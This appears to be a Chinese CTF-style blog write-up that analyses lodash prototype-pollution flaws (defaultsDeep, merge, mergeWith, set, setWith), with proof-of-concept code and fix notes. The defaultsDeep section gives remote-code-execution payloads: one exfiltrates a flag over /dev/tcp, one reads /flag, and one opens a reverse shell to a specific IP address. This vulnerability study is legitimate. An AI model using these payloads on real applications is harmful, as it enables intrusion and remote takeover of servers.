lodash原型链污染

lodash原型链污染漏洞大全

看到一篇肥肠好的博客

https://www.anquanke.com/post/id/248170

package.json

"lodash": "4.17.11",

lodash.defaultsDeep

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

环境搭建

这里借用了Xnuca的源码

官方的验证poc

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();
//console.log(111111);

很迷,跑上面的poc不行

我的demo

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})['whoami'] === "Vulnerable") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();
console.log(111111);

使用vscode运行调试server.js

调试lodash.defaultsDeep,

image-20220422103300946

单步执行来到了这里

image-20220422103327680

这时候随便关注一个全局变量

image-20220422103453501

还没被污染

image-20220422103734459

来到最后一个函数时发现被污染,于是进入后发现调用了func.call

image-20220422104321547

变量里面有亲爱的键值了

再单步执行时果然污染了原型链

image-20220422110457019

原理:

defaultsDeep->baseRest->overRest->apply->func.call

简单的说就是overRest里面有个合并的逻辑,然后construct被当作键名传入apply,apply会把它拿来调用

所以这里就简单复现一下,

image-20220422101903764

可以看到,随便点开一个变量,它的原型都被污染了:"whoami": "Vulnerable"

成功在 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

官方使用的修复方式是直接上waf

fix: prototype pollution in _.defaultsDeep by Kirill89 · Pull Request #4336 · lodash/lodash (github.com)

image-20220422102213632

在这部分漏洞函数直接加waf

image-20220422102525111

该修复包括以下两项安全检查:

  • 过滤了 constructor 以确保我们不会污染全局对象constructor
  • 还添加了一个测试用例以确保将来不会发生回归
最终payload

payload1

{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}

payload2

"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}

payload3

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}

lodash.merge

lodash版本:4.17.4

4.17.11亲测不行

poc

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

image-20220422111425780

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

merge(object, sources)

当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。

但是这里的 lodash.merge 操作实际上存在原型链污染漏洞,下面对其进行简单的分析,这里使用 4.17.4 版本的 Lodash。

  • node_modules/lodash/merge.js

image-20220422112830274

merge.js 调用了 baseMerge 方法,则定位到 baseMerge:

  • node_modules/lodash/_baseMerge.js

image-20220422112958507

如果 srcValue 是一个对象则进入 baseMergeDeep 方法,跟进 baseMergeDeep 方法:

  • node_modules/lodash/_baseMergeDeep.js

image-20220422113051868

跟进 assignMergeValue 方法:

  • node_modules/lodash/_assignMergeValue.js:

image-20220422113118298

跟进 baseAssignValue 方法:

  • node_modules/lodash/_baseAssignValue.js

image-20220422113323801

这里的 if 判断可以绕过,最终进入 object[key] = value 的赋值操作。

最终payload
{"__proto__":{"whoami":"Vulnerable"}}

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。

lodash.mergeWith

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"thai"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

image-20220422114216534

image-20220422114513754

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

最终payload
{"__proto__":{"whoami":"Vulnerable"}}

同merge

lodash.set

lodash.set的使用:

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。

set(object, path, value)
  • 示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };

_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4

_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5

既然是设置属性,那么在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

这个没什么原理,因为函数的功能本身就提供了设置属性的操作。

验证poc

image-20220422131007714

最终payload

lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');

lodash.setWith

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

验证poc

image-20220422131235941

至此,我们已经对 lodash 模块中的几个原型链污染做了验证,可以成功污染原型中的属性。但如果要进行代码执行,则还需要配合 eval() 方法的执行或模板引擎的渲染。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇